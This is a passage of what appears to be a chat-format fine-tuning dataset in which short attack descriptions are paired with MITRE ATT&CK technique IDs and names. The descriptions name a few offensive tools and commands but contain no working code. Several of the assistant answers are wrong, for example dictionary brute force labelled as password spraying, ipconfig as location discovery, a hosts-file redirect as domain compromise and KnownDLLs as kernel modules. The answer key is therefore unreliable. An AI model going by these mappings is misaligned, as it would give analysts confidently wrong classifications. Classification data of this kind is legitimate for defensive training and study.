            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses 'report.docx.pdf' to mask a payload."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts cached credentials by reading the LSA secret values stored under HKLM\\\\SECURITY."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using wmiexec.exe, the threat actor runs arbitrary commands on a target machine via WMI."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uploads a malicious Node.js package to Azure Functions, enabling remote code execution within the cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the ~/Library/Preferences/com.example.app.plist to alter configuration settings."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers firmware version information by downloading firmware update files from the vendor’s site."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the BIOS/UEFI firmware, the attacker ensures their payload runs before any operating system components are loaded."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script reads the application's .env file to steal database passwords and secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a malicious shim database entry that redirects calls from a trusted system utility to a payload, using the Event Triggered Execution technique T1546.011."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rundll32 is called with /i flag to load a compromised DLL for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a unique character substitution scheme to obscure stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploited a vulnerable web service to upload a backdoor executable to the web root of the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its controller over an encrypted channel that uses a shared secret key and DES encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan runs the 'sekurlsa::logonpasswords' command to display clear‑text passwords from memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses asymmetric cryptography to protect outbound beacon messages, exchanging a public key with the compromised host to hide C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor modifies the behavior of the AuthenticateUser function to record usernames and passwords entered in login dialogs."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchased zero‑day exploits on the dark web and bundled them with a remote access trojan, then distributed the package via compromised USB drives at targeted facilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates X.509 certificates and private keys stored on a compromised workstation to decrypt encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary intercepts authentication tokens and re‑encrypts them using a reversible algorithm before forwarding them to the legitimate server."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a VBScript to execute \"net user\" commands, establishing a new local account on the victim."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses the DNS API of a cloud provider to create malicious DNS records pointing to hidden command-and-control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a direct remote connection to a cloud instance by exploiting the provider's built‑in remote desktop feature."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a brute‑force attack on SSH accounts using a dictionary of common passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses NTFS's alternate data streams to store encrypted command-and-control settings."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal network creates a series of SEO‑optimized pages that link to a weaponized PDF, causing users who click the search result to open a malicious document that exploits a zero‑day."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is first compressed with LZ77, then encoded using a bespoke Base64 alphabet that includes '.' and '~' characters, and finally exfiltrated via SMB."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is registered in the Windows registry as a known COM object, causing it to be loaded by any COM-aware application."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit for a kernel memory corruption bug is used to bypass UAC and obtain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat installs a kernel-mode rootkit to evade detection and persist on the host."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PsExec over SMB, the attacker remote‑executed a PowerShell script on multiple hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a Windows Scheduled Task that executes a PowerShell script to exfiltrate logs every hour."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware resolves a hardcoded subdomain under a known C2 domain to obtain the active IP address."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installed a trojan via Group Policy Objects (GPO) by modifying the software installation policy to download and execute a malicious installer."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors intercept and rewrite authentication requests in the Azure AD Connect sync pipeline, enabling them to masquerade as legitimate users in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the final stage, the actor executes a tool that overwrites the disk's partition scheme and boot records."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates data theft by delivering extracted information through a webhook to an attacker‑controlled URL."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the victim's hosts file to redirect a trusted domain to a malicious server for credential theft."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a fake \"Account Security Alert\" pop‑up on Instagram to trick users into providing their password."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a malicious binary to the LoginHook registry key, enabling code execution on each user login."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in the Windows Service Control Manager to issue a remote reboot command via WMI."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates a Windows scheduled task that mimics the legitimate \"Disk Defragmenter\" task to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise includes using PowerShell to query Confluence's GraphQL endpoint for all page titles and content."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by sending a series of 500 byte JSON objects, each well under the network’s size cap."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the victim's OneDrive account and copied confidential documents to their own external storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit vulnerable webcams, turning them into bots that relay commands from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool creates a new local account and adds it to the Remote Desktop Users group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Campaign includes a USB drop that, when plugged in, copies network share data onto the device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes authentication tokens to the Registry path HKLM\\SYSTEM\\CurrentControlSet\\Services\\Auth\\Token."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads stolen files to a public FTP server over an unencrypted connection to steal data."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded into the VM disk image before deployment, allowing the attacker to control the system upon startup."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant sets up a reverse HTTP tunnel using a compromised web proxy to bypass outbound firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service runs 'dsquery user' to pull a list of all domain user accounts for later credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploited a misconfigured IAM role to send a DELETE request to the DigitalOcean Droplets API, causing a droplet to be destroyed."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a malicious web page that leverages a zero‑day browser exploit to deliver a remote access trojan to any user who lands on the page."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload was embedded in the executable of a network monitoring client, granting the attacker remote control."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF is shared via a file‑sharing service; opening it triggers an exploit chain that installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program reads the System Device Tree to discover attached device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised user credentials, the threat actor initiates an RDP connection and then hijacks an existing RDP session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates information by sending it to a malicious web service that only receives data, never sending any data back to the client."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary schedules a conference call, pretends to be an auditor, and asks participants to read out their system usernames and passwords aloud."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire serverless resources by registering an IBM Cloud Functions action that exfiltrates data from victim networks."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor abuses the cron.allow file to allow a low-privileged user to schedule tasks that run as root."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by inserting a malicious DLL into the “KnownDLLs” registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware generates an RSA key pair, sends the public key to a remote server, and encrypts exfiltrated data with the server's public key before transmission."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a batch file and registers it with 'at' to run on system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious systemd timer unit that runs a payload every 30 minutes to maintain persistence on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs InstallUtil.exe with a crafted assembly to bypass application whitelisting and run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into entering their OTP codes on a fake login page, granting the adversary access to the real service."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker renamed a malicious executable to 'report.pdf.exe' to trick users into running it."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with API responses, inserting malicious JSON that executes code on the client side."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'ipconfig' and parses the output to discover the host's network location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors harvest passwords by accessing the encrypted vault of a macOS keychain accessed via a compromised password manager app."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware calls the 7‑zip DLL functions to create an archive of stolen documents."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider programs an Outlook rule that triggers a scheduled task to launch a remote PowerShell payload when a calendar invitation is received."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers serve an HTML page that dynamically assembles a malicious DLL from fragments encoded in JavaScript variables, then writes it to disk via ActiveX controls."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's trojan encrypts backup copies stored on external drives after encrypting the primary data, ensuring the victim cannot recover files without paying."
            },
            {
